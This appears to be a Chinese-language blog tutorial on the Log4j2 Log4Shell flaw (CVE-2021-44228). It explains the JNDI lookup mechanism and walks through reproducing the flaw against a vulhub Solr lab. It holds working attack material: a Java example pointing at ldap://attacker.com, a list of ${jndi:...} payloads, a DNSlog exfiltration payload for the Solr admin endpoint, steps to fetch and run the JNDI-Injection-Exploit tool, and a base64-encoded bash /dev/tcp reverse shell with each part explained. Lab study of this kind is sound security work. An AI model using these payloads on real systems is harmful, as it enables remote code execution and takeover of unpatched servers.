一, Log4j2是什么
在java中最常用的日志框架是log4j2和logback,Apache Log4j2是一款使用非常广泛的Java日志框架。 2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。
二、漏洞原理
例如我们有这么一段代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jVulnerabilityExample {
private static final Logger LOGGER = LogManager.getLogger(Log4jVulnerabilityExample.class);
public static void main(String[] args) {
// 构造恶意的JNDI链接
String maliciousJNDI = "ldap://attacker.com:1389/Exploit";
// 构造日志消息,包含恶意的JNDI链接
String logMessage = "Vulnerable log message: " + maliciousJNDI;
// 打印日志消息
LOGGER.error(logMessage);
}
}
在这个示例中,我们使用Log4j 2来记录一个日志消息。日志消息包含一个恶意的JNDI链接,其中ldap://attacker.com:1389/Exploit
是一个指向攻击者服务器的LDAP链接,攻击者在该服务器上准备了恶意的JNDI资源,漏洞的代码路径主要集中在Log4j 2中对日志消息的处理过程。当应用程序使用Log4j 2记录日志时,它会调用Log4j 2的API来创建和处理日志消息。如果日志消息中包含恶意的JNDI链接,Log4j 2在处理这个消息时会执行JNDI查找,并从远程服务器获取恶意的JNDI资源。这一过程没有对用户输入进行充分的过滤和验证,导致了漏洞的产生。 在Log4j2中支持lookup功能,此功能可以让用户通过{$xx}的方式来执行命令和操作,当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,程序就会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。当我们在可输入的位置进行漏洞payload输入,常见的payload格式:
${jndi:ldap}
${jndi:ldaps}
${jndi:rmi}
${jndi:iiop}
${jndi:iiopname}
${jndi:corbaname}
${jndi:dns}
${jndi:nis}
为什么常见的payload都带有JNDL,JNDI(Java Naming and Directory Interface)是Java提供的一种标准的API(Application Programming Interface,应用程序编程接口),用于在Java应用程序中访问命名和目录服务。它提供了统一的方式来查找和访问各种命名服务,如目录服务(如LDAP)、命名服务(如DNS)、RMI(Remote Method Invocation,远程方法调用)、文件系统和其他分布式服务。正是由于JNDI可以实现对LADP、RMI等服务的操作,所以攻击者只需要构建一个LADP或RMI远程服务即可,让远程服务器返回恶意class
影响范围:Apache Log4j 2.x < 2.15.0-rc2
三、漏洞复现
靶机:kali 漏洞环境vulhub/log4j/CVE-2021-44228
环境搭建可参考我的环境搭建文章:【Linux搭建vulhub漏洞环境 - CSDN App】
进入对应漏洞目录,启动对应服务,查看映射端口
docker-compose up -d
docker ps -a
访问对应的漏洞接口地址:IP地址:8983/solr/admin/cores?action=${jndi:ldap://4wuy7v.dnslog.cn}
抓包我们构建payload:${jndi:ldap://${sys:java.version}.ju9ugs.dnslog.cn}利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送到服务器实现攻击
${jndi:ldap://${sys:java.version}.DNS地址}
获取DNS:http://www.dnslog.cn/
DNSlog也是收到了请求,并显示了jdk的版本
使用JNDI注入反弹shell
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit
下载jar包
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
unzip JNDI-Injection-Exploit.git
工具使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"
-C - 远程class文件中要执行的命令,默认命令是mac下打开计算器,即"open /Applications/Calculator.app"
-A - 服务器地址,可以是IP地址或者域名。
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
你也可以在run.ServerStart类中的26~28行更改默认端口即可。
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
构建反弹shell的命令
#反弹shell
bash -i>& /dev/tcp/监听端IP/IP 0>&1 #base64 编码
bash -i >& /dev/tcp/192.168.0.105/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ== #base64编码值
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i} #最后反弹shell的命令
注释:
-
bash
:这是启动 Bash shell 的命令。 -
-i
:这个选项表示以交互式的方式启动 Bash。通常情况下,启动 Bash 时会读取用户的输入并显示命令提示符。 -
>& /dev/tcp/192.168.0.105/4444
:这部分是重定向标准输出和标准错误到指定的 TCP 连接。在 Bash 中,/dev/tcp/host/port
是一种特殊的文件系统接口,可以用来建立 TCP 连接。这里的含义是将标准输出和标准错误都重定向到连接到192.168.0.105
主机的4444
端口上。 -
0>&1
:这部分是将标准输入重定向到标准输出。在这里,0
表示标准输入,1
表示标准输出。因此,0>&1
的含义是将标准输入指向与标准输出相同的位置,即连接到192.168.0.105
主机的4444
端口上。
\